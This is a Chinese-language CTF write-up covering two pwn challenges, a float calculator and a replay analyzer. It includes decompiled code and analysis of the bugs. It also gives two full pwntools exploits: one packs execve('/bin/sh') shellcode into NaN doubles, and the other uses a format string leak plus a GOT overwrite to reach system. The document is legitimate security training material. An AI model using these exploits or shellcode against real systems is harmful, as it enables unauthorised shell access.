题目复现 float 静态分析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 void __fastcall __noreturn main (int a1, char **a2, char **a3) { void *v3; void *v4; double *v5; _BYTE v6[12 ]; int v7; int i; int j; double *v10; void *s; void *buf; double v13; unsigned __int64 v14; v14 = __readfsqword(0x28 u); v3 = alloca(400LL ); s = v6; v4 = alloca(64LL ); buf = v6; memset (v6, 0 , 0x180 uLL); memset (buf, 0 , 0x30 uLL); qword_40E0 = s; dword_4010 = 0 ; sub_1384(); sub_14C9(); while ( 1 ) { v7 = read(0 , buf, 0x180 uLL); if ( v7 > 47 ) v7 = 48 ; for ( i = 0 ; i < v7 && *(buf + i) != '\n' ; ++i ) { if ( *(buf + i) <= ' ' || *(buf + i) > '0' ) { if ( *(buf + i) > '/' && *(buf + i) <= '9' ) { if ( dword_4010 > 47 ) { puts ("ERROR" ); exit (1 ); } ++dword_4010; v5 = qword_40E0; *v5 = atof(buf + i); qword_40E0 += 8LL ; while ( *(buf + i + 1 ) == '.' || *(buf + i + 1 ) > '/' && *(buf + i + 1 ) <= '9' ) ++i; } } else { if ( dword_4010 <= 1 ) { puts ("ERROR" ); exit (1 ); } v10 = s; for ( j = 0 ; j <= 47 ; ++j ) { v13 = fabs (*v10); if ( v13 != 0.0 && (v13 < 1.0 || v13 > 100.0 ) ) { printf ("ERROR: %lf\n" , v13); exit (1 ); } ++v10; } (func_list[*(buf + i) - 0x20 ])(); } } if ( s < qword_40E0 ) printf ("Result: %lf\n" , *(qword_40E0 - 8 )); } }
当为0的时候就会有
而qword_40E0 = s;
,是栈上的指针,那么就会执行栈上的shellcode,现在只需要找到站上的shellcode是怎么回事即可
本题目的大概逻辑是:首先大体是一个浮点数计算的程序,它有着加减乘除的功能,它每读进一个数,就会将其保存在栈上,以IEEE浮点表示形式,其中每次读进的值要不满足a!=0 && (a<1.0 || a>100.0)
的条件,然而在判断a时,有一个纰漏便是在判断符号的时候将0也攘括进去了,因此导致了一个栈上shellcode的执行
动态调试的部分边省略,主要还是对上述的验证
IEEE标准的浮点形式的double型主要是1位的符号位,11位的指数位,52位的有效数,其中指数位是要再加上一个偏移1027即011111111111,例如1的浮点形式便是0 0111111111111 000000000…….00000000
而浮点形式的特殊情况便是NaN,表示0/0等无意义的形式,其中
NaN 的两个特殊属性是:
与其他浮点数(包括 NaN 和 ±∞ )的比较结果:
比较
NaN ≥ x
NaN ≤ x
NaN > x
NaN < x
NaN = x
NaN ≠ x
结果
False
False
False
False
False
True
它有许多可能的编码,允许它携带其他信息,例如指示 NaN 来源的诊断信息。例如:
double-64 NaN:s111 1111 1111 xxxx xxxx xxxx xxxx xxxx xxxx xxxx xxxx xxxx xxxx xxxx xxxx xxxx
(其中s 是符号,x 序列表示非零数字(零值编码表示无穷大))
因此如果直接以NaN表示的话那个条件便是不成立的,就能直接构造shellcode
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 from pwn import *local = 1 pc = './fcalc' aslr = True context.log_level = "debug" libc = ELF('/lib/x86_64-linux-gnu/libc.so.6' ) elf = ELF(pc) if local == 1 : p = process(pc,aslr=aslr) else : remote_addr = ['node4.buuoj.cn' , 6666 ] p = remote(remote_addr[0 ], remote_addr[1 ]) ru = lambda x : p.recvuntil(x) sn = lambda x : p.send(x) rl = lambda : p.recvline() sl = lambda x : p.sendline(x) rv = lambda x : p.recv(x) sa = lambda a,b : p.sendafter(a,b) sla = lambda a,b : p.sendlineafter(a,b) if __name__ == "__main__" : payload = '1 1 0' .ljust(0x40 , 'a' ) payload += p64(0x7FFFFFFFFFFFFFFF )*2 jmpn = b"\xEB\x02" NaNHeader = b"\xFF\x7F" payload += '\x31\xc0\x31\xdb' + jmpn + NaNHeader payload += '\x66\xb8\x3b\x00' + jmpn + NaNHeader payload += '\x66\xbb\x68\x00' + jmpn + NaNHeader payload += '\x48\xc1\xe3\x10' + jmpn + NaNHeader payload += '\x66\xbb\x2f\x73' + jmpn + NaNHeader payload += '\x48\xc1\xe3\x10' + jmpn + NaNHeader payload += '\x66\xbb\x69\x6e' + jmpn + NaNHeader payload += '\x48\xc1\xe3\x10' + jmpn + NaNHeader payload += '\x66\xbb\x2f\x62' + jmpn + NaNHeader payload += '\x53\x48\x89\xe7' + jmpn + NaNHeader payload += '\x31\xf6\x31\xd2' + jmpn + NaNHeader payload += '\x0f\x05\x90\x90' + jmpn + NaNHeader ru('expression:\n' ) sn(payload) p.interactive()
静态分析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 int __cdecl main (int argc, const char **argv, const char **envp) { char *v3; char v5; __int16 v6; char *lineptr; size_t n; void *ptr; __int64 temp_size; void *ptr1; char format[264 ]; unsigned __int64 v13; v13 = __readfsqword(0x28 u); setvbuf(stdin , 0LL , 2 , 0LL ); setvbuf(stdout , 0LL , 2 , 0LL ); while ( 1 ) { puts ("Submit replay as hex (use xxd -p -c0 replay.osr | ./analyzer):" ); lineptr = 0LL ; n = 0LL ; if ( getline(&lineptr, &n, stdin ) <= 0 ) break ; v3 = lineptr; v3[strcspn (lineptr, "\n" )] = 0 ; if ( !*lineptr ) break ; temp_size = hexs2bin(lineptr, &ptr); ptr1 = ptr; if ( !temp_size ) { puts ("Error: failed to decode hex" ); return 1 ; } puts ("\n=~= miss-analyzer =~=" ); v5 = read_byte(&ptr1, &temp_size); if ( v5 ) { switch ( v5 ) { case 1 : puts ("nothing now." ); break ; case 2 : puts ("nothing now." ); break ; case 3 : puts ("nothing now." ); break ; } } else { puts ("default" ); } consume_bytes(&ptr1, &temp_size, 4LL ); read_string(&ptr1, &temp_size, format, 255LL ); printf ("Hash: %s\n" , format); read_string(&ptr1, &temp_size, format, 255LL ); printf ("Player name: " ); printf (format); putchar (10 ); read_string(&ptr1, &temp_size, format, 255LL ); consume_bytes(&ptr1, &temp_size, 10LL ); v6 = read_short(&ptr1, &temp_size); printf ("Miss count: %d\n" , (unsigned int )v6); if ( v6 ) puts ("Yep, looks like you missed." ); else puts ("You didn't miss!" ); puts ("=~=~=~=~=~=~=~=~=~=~=\n" ); free (lineptr); free (ptr); } return 0 ; }
本题的静态分析十分困难,而且脚本的编写也很困难,算是长见识了。。(第一次脚本没写出来
先看read_string函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 _BYTE *__fastcall read_string (_QWORD *a1, _QWORD *a2, _BYTE *a3, unsigned int a4) { _BYTE *result; char byte; unsigned int v6; unsigned int v7; unsigned int v10; char i; unsigned int j; *a3 = 0 ; result = (_BYTE *)read_byte(a1, a2); if ( (_BYTE)result ) { if ( (_BYTE)result != 0xB ) { puts ("Error: failed to read string" ); exit (1 ); } v10 = 0 ; for ( i = 0 ; ; i += 7 ) { byte = read_byte(a1, a2); v10 |= (byte & 0x7F ) << i; if ( byte >= 0 ) break ; } for ( j = 0 ; ; ++j ) { v6 = a4; if ( a4 > v10 ) v6 = v10; if ( v6 <= j ) break ; a3[j] = read_byte(a1, a2); } while ( v10 > j ) { read_byte(a1, a2); ++j; } v7 = v10; if ( a4 <= v10 ) v7 = a4; result = &a3[v7]; *result = 0 ; } return result; }
再看read_byte函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 __int64 __fastcall read_byte (_QWORD *ptr1, _QWORD *ptr2) { unsigned __int8 v3; if ( !*ptr2 ) { puts ("Error: failed to read replay" ); exit (1 ); } v3 = *(_BYTE *)(*ptr1)++; --*ptr2; return v3; }
复杂的一匹,但是搞懂每个函数的内容,然后再一步一步来,便不会有太大的困难
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 from pwn import *import binasciielf_path='./format' libc=ELF('./libc.so.6' ,checksec=False ) elf=ELF(elf_path,checksec=True ) context.binary=elf_path context.log_level='debug' r =lambda num=4096 :p.recv(num) ru =lambda content,drop=False :p.recvuntil(content,drop) rl =lambda :p.recvline() sla =lambda flag,content :p.sendlineafter(flag,content) sa =lambda flag,content :p.sendafter(flag,content) sl =lambda content :p.sendline(content) s =lambda content :p.send(content) irt =lambda :p.interactive() tbs =lambda content :str (content).encode() leak=lambda name,addr :log.success('{} = {:#x}' .format (name, addr)) local = 1 def debug (content=0 ): if (local): if content: gdb.attach(p,content) else : gdb.attach(p) pause() def run (): if (local): return process(elf_path) return remote() p=run() def consume_bytes (nb:int )->bytes : return b'55' *nb def read_string (s: str ): size = (hex (len (s))[2 :].rjust(2 , "0" )).encode('utf-8' ) data = binascii.hexlify(s.encode('utf-8' )) info(f"{size} + {data} " ) return b"0b" + size + data def input_1 (payload ): if type (payload) == bytes : payload = payload.decode() payload_ =consume_bytes(5 ) payload_ +=read_string("11112222" ) payload_ +=read_string(payload) payload_ +=read_string("ohh good" ) payload_ +=consume_bytes(10 +2 ) print (payload_) sla(b"Submit replay as hex (use xxd -p -c0 replay.osr | ./analyzer):\n" ,payload_) ru(b"Player name: " ) return rl()[:-1 ] leaklibc = input_1("%3$p" ) info(f'leaklibc===>{leaklibc} ' ) libc.address=int (leaklibc,16 )-0x114887 info(f'libc_base===>{hex (libc.address)} ' ) auto = FmtStr(input_1,offset=14 ) auto.write(elf.got['strcspn' ],libc.sym.system) auto.execute_writes() sl(b"/bin/sh" ) irt()
总结 做格式化字符串漏洞的时候应该先把向addr写入value的自动函数写出来(不要怕麻烦,这样之后可以节省很多的麻烦。